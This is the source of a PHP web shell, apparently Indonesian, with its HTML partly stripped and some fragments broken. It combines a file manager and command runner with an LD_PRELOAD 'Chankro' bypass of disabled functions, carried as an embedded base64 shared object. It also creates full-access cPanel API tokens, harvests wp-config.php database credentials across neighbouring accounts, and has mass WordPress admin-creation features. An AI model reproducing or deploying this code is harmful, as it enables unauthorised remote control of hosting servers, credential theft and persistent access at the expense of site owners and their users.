/"; $normalized_path = substr($normalized_path, 1); } elseif (preg_match('/^([a-zA-Z]:\/)/', $normalized_path, $matches)) { // Windows drive root $drive = substr($matches[1],0,2); $cumulative_path = $matches[1]; $path_parts[] = "" . htmlspecialchars($drive) . ""; $normalized_path = substr($normalized_path, 3); } $components = explode('/', $normalized_path); foreach ($components as $component) { if (empty($component)) { continue; } // Ensure trailing slash for building the path if (substr($cumulative_path, -1) !== '/') { $cumulative_path .= '/'; } $cumulative_path .= $component; $path_parts[] = "" . htmlspecialchars($component) . ""; } echo implode("/", $path_parts); } // Function to format file size function sizeFormat($bytes) { // ======================================================================= // Function sizeFormat: Converts file size into a more readable format. // ======================================================================= if($bytes >= 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' Gb'; } else if($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' Mb'; } else if($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' Kb'; } else { $bytes = $bytes . ' b'; } return $bytes; } // Function to ensure string is in UTF-8 function utf8ize($d) { // ======================================================================= // Function utf8ize: Converts an array or string to UTF-8 format. // ======================================================================= if (is_array($d)) { foreach ($d as $k => $v) { $d[$k] = utf8ize($v); } } else if (is_string($d)) { return utf8_encode($d); } return $d; } // Function to recursively delete a directory and its contents function rrmdir($dir) { // ======================================================================= // Function rrmdir: Deletes a directory and all its contents. // ======================================================================= if (is_dir($dir)) { $objects = scandir($dir); foreach ($objects as $object) { if ($object != "." && $object != "..") { if (is_dir($dir . "/" . $object)) { rrmdir($dir . "/" . $object); } else { unlink($dir . "/" . $object ); } } } rmdir($dir); } } // Function to execute commands safely function execute_command($komanda) { $output = ''; $error = ''; $f_list = ['shell_exec', 'exec', 'passthru', 'system', 'proc_open', 'popen']; $f_available = ''; foreach ($f_list as $f) { if (function_exists($f)) { $f_available = $f; break; } } if (!$f_available) { return ['output' => "No command execution function is available.", 'error' => '']; } // Add 2>&1 to capture stderr if (stripos($komanda, '2>&1') === false) { $komanda .= " 2>&1"; } switch ($f_available) { case 'shell_exec': $output = shell_exec($komanda); break; case 'exec': $out = []; exec($komanda, $out, $return_var); $output = implode("\n", $out); if ($return_var !== 0) $error = "Return code: $return_var"; break; case 'passthru': ob_start(); passthru($komanda); $output = ob_get_clean(); break; case 'system': ob_start(); system($komanda); $output = ob_get_clean(); break; case 'proc_open': $descriptorspec = [0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"]]; $process = proc_open($komanda, $descriptorspec, $pipes); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); $error = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); } break; case 'popen': $handle = popen($komanda, 'r'); if ($handle) { while (!feof($handle)) { $output .= fread($handle, 4096); } pclose($handle); } break; } return ['output' => $output, 'error' => $error]; } function runChankroModified($command, $dir) { $hook = 'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAA4AcAAAAAAABAAAAAAAAAAPgZAAAAAAAAAAAAAEAAOAAHAEAAHQAcAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAoAAAAAAABsCgAAAAAAAAAAIAAAAAAAAQAAAAYAAAD4DQAAAAAAAPgNIAAAAAAA+A0gAAAAAABwAgAAAAAAAHgCAAAAAAAAAAAgAAAAAAACAAAABgAAABgOAAAAAAAAGA4gAAAAAAAYDiAAAAAAAMABAAAAAAAAwAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUOV0ZAQAAAB4CQAAAAAAAHgJAAAAAAAAeAkAAAAAAAA0AAAAAAAAADQAAAAAAAAABAAAAAAAAABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAFLldGQEAAAA+A0AAAAAAAD4DSAAAAAAAPgNIAAAAAAACAIAAAAAAAAIAgAAAAAAAAEAAAAAAAAABAAAABQAAAADAAAAR05VAGhkFopFVPvXbYbBilBq7Sd8S1krAAAAAAMAAAANAAAAAQAAAAYAAACIwCBFAoRgGQ0AAAARAAAAEwAAAEJF1exgXb1c3muVgLvjknzYcVgcuY3xDurT7w4bn4gLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHkAAAASAAAAAAAAAAAAAAAAAAAAAAAAABwAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAIYAAAASAAAAAAAAAAAAAAAAAAAAAAAAAJcAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAGEAAAAgAAAAAAAAAAAAAAAAAAAAAAAAALIAAAASAAAAAAAAAAAAAAAAAAAAAAAAAKMAAAASAAAAAAAAAAAAAAAAAAAAAAAAADgAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAFIAAAAiAAAAAAAAAAAAAAAAAAAAAAAAAJ4AAAASAAAAAAAAAAAAAAAAAAAAAAAAAMUAAAAQABcAaBAgAAAAAAAAAAAAAAAAAI0AAAASAAwAFAkAAAAAAAApAAAAAAAAAKgAAAASAAwAPQkAAAAAAAAdAAAAAAAAANgAAAAQABgAcBAgAAAAAAAAAAAAAAAAAMwAAAAQABgAaBAgAAAAAAAAAAAAAAAAABAAAAASAAkAGAcAAAAAAAAAAAAAAAAAABYAAAASAA0AXAkAAAAAAAAAAAAAAAAAAHUAAAASAAwA4AgAAAAAAAA0AAAAAAAAAABfX2dtb2lfc3RhcnRfXwBfaW5pdABfZmluaQBfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAX0lUTV9yZWdpc3RlclRNQ2xvbmVUYWJsZQBfX2N4YV9maW5hbGl6ZQBfSnZfUmVnaXN0ZXJDbGFzc2VzAHB3bgBnZXRlbnYAY2htb2QAc3lzdGVtAGRhZW1vbml6ZQBzaWduYWwAZm9yawBleGl0AHByZWxvYWRtZQB1bnNldGVudgBsaWJjLnNvLjYAX2VkYXRhAF9fYnNzX3N0YXJ0AF9lbmQAR0xJQkNfMi4yLjUAAAAAAgAAAAIAAgAAAAIAAAACAAIAAAACAAIAAQABAAEAAQABAAEAAQABAAAAAAABAAEAuwAAABAAAAAAAAAAdRppCQAAAgDdAAAAAAAAAPgNIAAAAAAACAAAAAAAAACwCAAAAAAAAAgOIAAAAAAACAAAAAAAAABwCAAAAAAAAGAQIAAAAAAACAAAAAAAAABgECAAAAAAAAAOIAAAAAAAAQAAAA8AAAAAAAAAAAAAANgPIAAAAAAABgAAAAIAAAAAAAAAAAAAAOAPIAAAAAAABgAAAAUAAAAAAAAAAAAAAOgPIAAAAAAABgAAAAcAAAAAAAAAAAAAAPAPIAAAAAAABgAAAAoAAAAAAAAAAAAAAPgPIAAAAAAABgAAAAsAAAAAAAAAAAAAABgQIAAAAAAABwAAAAEAAAAAAAAAAAAAACAQIAAAAAAABwAAAA4AAAAAAAAAAAAAACgQIAAAAAAABwAAAAMAAAAAAAAAAAAAADAQIAAAAAAABwAAABQAAAAAAAAAAAAAADgQIAAAAAAABwAAAAQAAAAAAAAAAAAAAEAQIAAAAAAABwAAAAYAAAAAAAAAAAAAAEgQIAAAAAAABwAAAAgAAAAAAAAAAAAAAFAQIAAAAAAABwAAAAkAAAAAAAAAAAAAAFgQIAAAAAAABwAAAAwAAAAAAAAAAAAAAEiD7AhIiwW9CCAASIXAdAL/0EiDxAjDAP810gggAP8l1AggAA8fQAD/JdIIIABoAAAAAOng/////yXKCCAAaAEAAADp0P////8lwgggAGgCAAAA6cD/////JboIIABoAwAAAOmw/////yWyCCAAaAQAAADpoP////8lqgggAGgFAAAA6ZD/////JaIIIABoBgAAAOmA/////yWaCCAAaAcAAADpcP////8lkgggAGgIAAAA6WD/////JSIIIABmkAAAAAAAAAAASI09gQggAEiNBYEIIABVSCn4SInlSIP4DnYVSIsF1gcgAEiFwHQJXf/gZg8fRAAAXcMPH0AAZi4PH4QAAAAAAEiNPUEIIABIjTU6CCAAVUgp/kiJ5UjB/gNIifBIweg/SAHGSNH+dBhIiwWhByAASIXAdAxd/+BmDx+EAAAAAABdww8fQABmLg8fhAAAAAAAgD3xByAAAHUnSIM9dwcgAABVSInldAxIiz3SByAA6D3////oSP///13GBcgHIAAB88MPH0AAZi4PH4QAAAAAAEiNPVkFIABIgz8AdQvpXv///2YPH0QAAEiLBRkHIABIhcB06VVIieX/0F3pQP///1VIieVIjT16AAAA6FD+//++/wEAAEiJx+iT/v//SI09YQAAAOg3/v//SInH6E/+//+QXcNVSInlvgEAAAC/AQAAAOhZ/v//6JT+//+FwHQKvwAAAADodv7//5Bdw1VIieVIjT0lAAAA6FP+///o/v3//+gZ/v//kF3DAABIg+wISIPECMNDSEFOS1JPAExEX1BSRUxPQUQAARsDOzQAAAAFAAAAuP3//1AAAABY/v//eAAAAGj///+QAAAAnP///7AAAADF////0AAAAAAAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAAGD9//+gAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAADY/f//CAAAAAAAAAAAAAAAHAAAAFwAAADQ/v//NAAAAABBDhCGAkMNBm8MBwgAAAAcAAAAfAAAAOT+//8pAAAAAEEOEIYCQw0GZAwHCAAAABwAAACcAAAA7f7//x0AAAAAQQ4QhgJDDQZYDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAgAAAAAAAAAAAAAAAAAAHAIAAAAAAAAAAAAAAAAAAABAAAAAAAAALsAAAAAAAAADAAAAAAAAAAYBwAAAAAAAA0AAAAAAAAAXAkAAAAAAAAZAAAAAAAAAPgNIAAAAAAAGwAAAAAAAAAQAAAAAAAAABoAAAAAAAAACA4gAAAAAAAcAAAAAAAAAAgAAAAAAAAA9f7/bwAAAADwAQAAAAAAAAUAAAAAAAAAMAQAAAAAAAAGAAAAAAAAADgCAAAAAAAACgAAAAAAAADpAAAAAAAAAAsAAAAAAAAAGAAAAAAAAAADAAAAAAAAAAAQIAAAAAAAAgAAAAAAAADYAAAAAAAAABQAAAAAAAAABwAAAAAAAAAXAAAAAAAAAEAGAAAAAAAABwAAAAAAAABoBQAAAAAAAAgAAAAAAAAA2AAAAAAAAAAJAAAAAAAAABgAAAAAAAAA/v//bwAAAABIBQAAAAAAAP///28AAAAAAQAAAAAAAADw//9vAAAAABoFAAAAAAAA+f//bwAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgOIAAAAAAAAAAAAAAAAAAAAAAAAAAAAEYHAAAAAAAAVgcAAAAAAABmBwAAAAAAAHYHAAAAAAAAhgcAAAAAAACWBwAAAAAAAKYHAAAAAAAAtgcAAAAAAADGBwAAAAAAAGAQIAAAAAAR0NDOiAoRGViaWhuIDYuMy4wLTE4K2RlYjllMSkgNi4zLjAgMjAxNzA1MTYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAQDIAQAAAAAAAAAAAAAAAAAAAAAAAAMAAgDwAQAAAAAAAAAAAAAAAAAAAAAAAAMAAwA4AgAAAAAAAAAAAAAAAAAAAAAAAAMABAAwBAAAAAAAAAAAAAAAAAAAAAAAAAMABQAaBQAAAAAAAAAAAAAAAAAAAAAAAAMABgBIBQAAAAAAAAAAAAAAAAAAAAAAAAMABwBoBQAAAAAAAAAAAAAAAAAAAAAAAAMACABABgAAAAAAAAAAAAAAAAAAAAAAAAMACQAYBwAAAAAAAAAAAAAAAAAAAAAAAAMACgAwBwAAAAAAAAAAAAAAAAAAAAAAAAMACwDQBwAAAAAAAAAAAAAAAAAAAAAAAAMADADgBwAAAAAAAAAAAAAAAAAAAAAAAAMADQBcCQAAAAAAAAAAAAAAAAAAAAAAAAMADgBlCQAAAAAAAAAAAAAAAAAAAAAAAAMADwB4CQAAAAAAAAAAAAAAAAAAAAAAAAMAEACwCQAAAAAAAAAAAAAAAAAAAAAAAAMAEQD4DSAAAAAAAAAAAAAAAAAAAAAAAAMAEgAIDiAAAAAAAAAAAAAAAAAAAAAAAAMAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAMAFAAYDiAAAAAAAAAAAAAAAAAAAAAAAAMAFQDYDyAAAAAAAAAAAAAAAAAAAAAAAAMAFgAAECAAAAAAAAAAAAAAAAAAAAAAAAMAFwBgECAAAAAAAAAAAAAAAAAAAAAAAAMAGABoECAAAAAAAAAAAAAAAAAAAAAAAAMAGQAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAGQAAAAIADADgBwAAAAAAAAAAAAAAAAAAGwAAAAIADAAgCAAAAAAAAAAAAAAAAAAALgAAAAIADABwCAAAAAAAAAAAAAAAAAAARAAAAAEAGABoECAAAAAAAAEAAAAAAAAAUwAAAAEAEgAIDiAAAAAAAAAAAAAAAAAAegAAAAIADACwCAAAAAAAAAAAAAAAAAAAhgAAAAEAEQD4DSAAAAAAAAAAAAAAAAAApQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAArAAAAAEAEABoCgAAAAAAAAAAAAAAAAAAugAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAxgAAAAEAFwBgECAAAAAAAAAAAAAAAAAA0wAAAAEAFAAYDiAAAAAAAAAAAAAAAAAA3AAAAAAADwB4CQAAAAAAAAAAAAAAAAAA7wAAAAEAFwBoECAAAAAAAAAAAAAAAAAA+wAAAAEAFgAAECAAAAAAAAAAAAAAAAAAEQEAABIAAAAAAAAAAAAAAAAAAAAAAAAAJQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAQQEAABAAFwBoECAAAAAAAAAAAAAAAAAASAEAABIADAAUCQAAAAAAACkAAAAAAAAAUgEAABIADQBcCQAAAAAAAAAAAAAAAAAAWAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAbAEAABIADADgCAAAAAAAADQAAAAAAAAAcAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAhAEAACAAAAAAAAAAAAAAAAAAAAAAAAAAkwEAABIADAA9CQAAAAAAAB0AAAAAAAAAnQEAABAAGABwECAAAAAAAAAAAAAAAAAAogEAABAAGABoECAAAAAAAAAAAAAAAAAArgEAABIAAAAAAAAAAAAAAAAAAAAAAAAAwQEAACAAAAAAAAAAAAAAAAAAAAAAAAAA1QEAABIAAAAAAAAAAAAAAAAAAAAAAAAA6wEAABIAAAAAAAAAAAAAAAAAAAAAAAAA/QEAACAAAAAAAAAAAAAAAAAAAAAAAAAAFwIAACIAAAAAAAAAAAAAAAAAAAAAAAAAMwIAABIACQAYBwAAAAAAAAAAAAAAAAAAOQIAABIAAAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAX19KQ1JfTElTVF9fAGRlcmVnaXN0ZXJfdG1fY2xvbmVzAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABjb21wbGV0ZWQuNjk3MgBfX2RvX2dsb2JhbF9kdG9yc19hdXhfZmluaV9hcnJheV9lbnRyeQBmcmFtZV9kdW1deQBfX2ZyYW1lX2R1bW15X2luaXRfYXJyYXlfZW50cnkAaG9vay5jAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kc29faGFuZGxlAF9EWU5BTUlDAF9fR05VX0VIX0ZSQU1FX0hEUgBfX1TM_lFTkRfXwBfR0xPQkFMX09GRlNFVF9UQUJMRV8AZ2V0ZW52QEBHTElCQ18yLjIuNQBfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAX2VkYXRhAGRhZW1vbml6ZQBfZmluaQBzeXN0ZW1AQEdMSUJDXzIuMi41AHB3bgBzaWduYWxAQEdMSUJDXzIuMi41AF9fZ21vbl9zdGFydF9fAHByZWxvYWRtZQBfZW5kAF9fYnNzX3N0YXJ0AGNobW9kQEBHTElCQ18yLjIuNQBfSnZfUmVnaXN0ZXJDbGFzc2VzAHVuc2V0ZW52QEBHTElBQkNfMi4yLjUAX2V4aXRAQEdMSUJDXzIuMi41AF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemVAQEdMSUJDXzIuMi41AF9pbml0AGZvcmtAQEdMSUJDXzIuMi41AA=='; $so_file = $dir . '/chankro.so'; $socket_file = $dir . '/acpid.socket'; // Bersihkan semua kemungkinan file output dari eksekusi sebelumnya @unlink($dir . '/output.txt'); // Pembersihan dari direktori lokal $old_uapi_files_local = glob($dir . '/chankro_out_*.txt'); if ($old_uapi_files_local) { foreach ($old_uapi_files_local as $file) { @unlink($file); } } // Pembersihan dari direktori /tmp (untuk perintah uapi) $old_uapi_files_tmp = glob('/tmp/chankro_out_*.txt'); if ($old_uapi_files_tmp) { foreach ($old_uapi_files_tmp as $file) { @unlink($file); } } @unlink($so_file); @unlink($socket_file); $is_uapi_command = (strpos(trim($command), 'uapi') === 0); if ($is_uapi_command) { $output_file_template = '/tmp/chankro_out_$$.txt'; $full_command = '(' . $command . ') > ' . $output_file_template . ' 2>&1'; } else { $output_file = $dir . '/output.txt'; $full_command = '(' . $command . ') > ' . $output_file . ' 2>&1'; } $meterpreter = base64_encode($full_command); file_put_contents($so_file, base64_decode($hook)); file_put_contents($socket_file, base64_decode($meterpreter)); putenv('CHANKRO=' . $socket_file); putenv('LD_PRELOAD=' . $so_file); if (function_exists('mail')) { mail('a','a','a','a'); } elseif (function_exists('mb_send_mail')) { mb_send_mail('a','a','a','a'); } elseif (function_exists('error_log')) { error_log('a', 1, 'a'); } elseif (function_exists('imap_mail')) { imap_mail('a','a','a'); } else { echo "
Tidak ada fungsi pemicu Chankro yang tersedia."; return; } sleep(10); echo "
";
echo implode("\n", $found_tokens);
echo "";
} else {
echo "Tidak ada token yang berhasil dibuat atau ditemukan.
"; } } else { $output_file = $dir . '/output.txt'; if (file_exists($output_file)) { $content = file_get_contents($output_file); echo "";
echo !empty(trim($content)) ? htmlspecialchars($content) : "[Perintah tidak menghasilkan output teks]";
echo "";
} else {
echo "Perintah dieksekusi, namun tidak ada file output yang dibuat.
"; } } // Bersihkan semua file sementara @unlink($so_file); @unlink($socket_file); if ($is_uapi_command) { $output_files = glob('/tmp/chankro_out_*.txt'); if ($output_files) { foreach ($output_files as $file) { @unlink($file); } } } else { @unlink($dir . '/output.txt'); } } $default_dir = getcwd(); if(isset($_POST['berkas']) && is_string($_POST['berkas'])) { $decoded_path = uraikan($_POST['berkas']); // Basic path validation if ($decoded_path && is_dir($decoded_path)) { $default_dir = realpath($decoded_path); $c_h_dir_comm = 'c' . 'hd' . 'ir'; @$c_h_dir_comm($default_dir); } } $default_dir = str_replace("\\", "/", $default_dir); $wp_base_dir = $default_dir; // Try checking one level up if not found if (!file_exists($wp_base_dir . '/wp-config.php')) { $wp_base_dir = dirname($wp_base_dir); // Up 1 folder } $wp_config_path = $wp_base_dir . '/wp-config.php'; // =========================================================================== // FITUR: CPANEL TOKEN & MASS ADMIN (FULL FALLBACK EXECUTION MODE) // =========================================================================== // 1. CONFIG if (isset($_POST['create_wp_admin']) || isset($_POST['reactivate_plugins'])) { @error_reporting(0); @ini_set('display_errors', 0); @ini_set('memory_limit', '512M'); if (function_exists('set_time_limit') && stripos(ini_get('disable_functions'), 'set_time_limit') === false) { @set_time_limit(0); } } // 2. HELPER: EKSEKUSI PERINTAH TANGGUH (MULTI-METHOD) if (!function_exists('jalankan_cmd_tangguh')) { function jalankan_cmd_tangguh($cmd) { $out = ""; $cmd .= " 2>&1"; // Tangkap error output juga // 1. shell_exec if (function_exists('shell_exec') && stripos(ini_get('disable_functions'), 'shell_exec') === false) { $out = @shell_exec($cmd); if (!empty($out)) return $out; } // 2. exec if (function_exists('exec') && stripos(ini_get('disable_functions'), 'exec') === false) { @exec($cmd, $o); $out = implode("\n", $o); if (!empty($out)) return $out; } // 3. system if (function_exists('system') && stripos(ini_get('disable_functions'), 'system') === false) { ob_start(); @system($cmd); $out = ob_get_clean(); if (!empty($out)) return $out; } // 4. passthru if (function_exists('passthru') && stripos(ini_get('disable_functions'), 'passthru') === false) { ob_start(); @passthru($cmd); $out = ob_get_clean(); if (!empty($out)) return $out; } // 5. popen if (function_exists('popen') && stripos(ini_get('disable_functions'), 'popen') === false) { $fp = @popen($cmd, 'r'); if ($fp) { while (!feof($fp)) $out .= fread($fp, 1024); pclose($fp); if (!empty($out)) return $out; } } // 6. proc_open if (function_exists('proc_open') && stripos(ini_get('disable_functions'), 'proc_open') === false) { $desc = [1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; $proc = @proc_open($cmd, $desc, $pipes); if (is_resource($proc)) { $out = stream_get_contents($pipes[1]); // Stdout $out .= stream_get_contents($pipes[2]); // Stderr fclose($pipes[1]); fclose($pipes[2]); proc_close($proc); if (!empty($out)) return $out; } } return $out; } } // 3. HELPER: BACA FILE (PHP NATIVE + EXEC FALLBACK) if (!function_exists('baca_file_smart')) { function baca_file_smart($path) { if (!file_exists($path)) return ""; // A. PHP Native (Paling Cepat & Aman) $c = @file_get_contents($path); if ($c) return $c; // B. Stream Read if (function_exists('fopen') && function_exists('fread')) { $h = @fopen($path, 'r'); if ($h) { $c = @fread($h, filesize($path) + 1024); fclose($h); if ($c) return $c; } } // C. Exec Fallback (cat) - Jika permission PHP ditolak, coba via system // Gunakan fungsi jalankan_cmd_tangguh agar mencoba semua metode exec $cmd = "cat " . escapeshellarg($path); $c = jalankan_cmd_tangguh($cmd); if ($c) return $c; return ""; } } if (!function_exists('get_conf_val_smart')) { function get_conf_val_smart($content, $key) { if (preg_match("/define\(\s*['\"]" . preg_quote($key, '/') . "['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $content, $m)) return $m[1]; return null; } } // 4. SCAN FOLDER (STREAM MODE) if (!function_exists('scan_smart_stream')) { function scan_smart_stream($dir, &$results) { $dir = rtrim($dir, '/') . '/'; if (file_exists($dir . 'wp-config.php')) $results[] = $dir . 'wp-config.php'; if ($dh = @opendir($dir)) { while (($file = readdir($dh)) !== false) { if ($file === '.' || $file === '..') continue; $full_path = $dir . $file; if (is_dir($full_path) && !is_link($full_path)) { $target_public = $full_path . '/public_html/wp-config.php'; $target_root = $full_path . '/wp-config.php'; if (file_exists($target_public)) $results[] = $target_public; elseif (file_exists($target_root)) $results[] = $target_root; } } closedir($dh); } } } // --- LOGIC EKSEKUSI --- // A. BUAT TOKEN CPANEL (UAPI) if (isset($_POST['buat_token_cpanel'])) { $dom = $_SERVER['SERVER_NAME']; if(function_exists('php_uname')) { $p=explode(" ",php_uname()); if(isset($p[1]))$dom=$p[1]; } $usr = getenv('USER'); if(!$usr && function_exists('get_current_user')) $usr=get_current_user(); // Path binary uapi $bins = ["uapi", "/usr/bin/uapi", "/usr/local/cpanel/bin/uapi", "/usr/local/bin/uapi"]; $cmd_base = "Tokens create_full_access name=xshikata"; $res_tok = ""; $suc_tok = false; foreach($bins as $b) { $full_cmd = "$b $cmd_base"; // Panggil fungsi multi-fallback kita $res_tok = jalankan_cmd_tangguh($full_cmd); // Cek keberhasilan if($res_tok && (stripos($res_tok,'result')!==false || stripos($res_tok,'token')!==false)) { $suc_tok=true; break; } } $h_tok = "Domain: $dom | User: $usr
"; $h_tok .= ""; if(!$suc_tok && !$res_tok) $h_tok .= "Gagal eksekusi. Semua fungsi exec (shell_exec, system, popen, dll) mungkin didisable.
"; $h_tok .= "System Info:
User:
Group:
Safe Mode: ;"> [ PHP Info ]
Server Address:
Server Software:
PHP Version:
cURL Version:
Server Time:
| ' . htmlspecialchars($columnName) . ' | '; } echo 'Actions | '; echo '
|---|---|
' . htmlspecialchars($val) . ' | ';
}
echo 'Edit | '; echo '
' . htmlspecialchars($emr) . '
| ' . htmlspecialchars($key) . ' | '; } echo '
|---|
' . htmlspecialchars($val) . ' | ';
}
echo '
| File | Size | Date | Owner/Group | Permissions | Actions |
|---|---|---|---|---|---|
| '; if($item['is_dir']) { print ''; $navPath = ''; if ($element == '..') { $navPath = kunci(dirname($default_dir)); } else { $navPath = kunci($fileNamaLengkap); } print '' . htmlspecialchars($element) . ''; } else { print ''; print '' . htmlspecialchars($element) . ''; } print ' | ' . sizeFormat(@filesize($fileNamaLengkap)) . ' | ' . (date('d M Y, H:i', @filemtime($fileNamaLengkap))) . ' | '; if(function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $owner = @posix_getpwuid(@fileowner($fileNamaLengkap)); $group = @posix_getgrgid(@filegroup($fileNamaLengkap)); echo htmlspecialchars((isset($owner['name']) ? $owner['name'] : 'N/A')) . '/' . htmlspecialchars((isset($group['name']) ? $group['name'] : 'N/A')); } else { echo 'N/A'; } print ' | ' . $currentPerms . ' | '; if(is_file($fileNamaLengkap)) { print (' | ') . (' | ') . (' | ') . (' '); } else if($element != '.' && $element != '..') { print (' | ') . (' '); } print ' |
Permission denied! |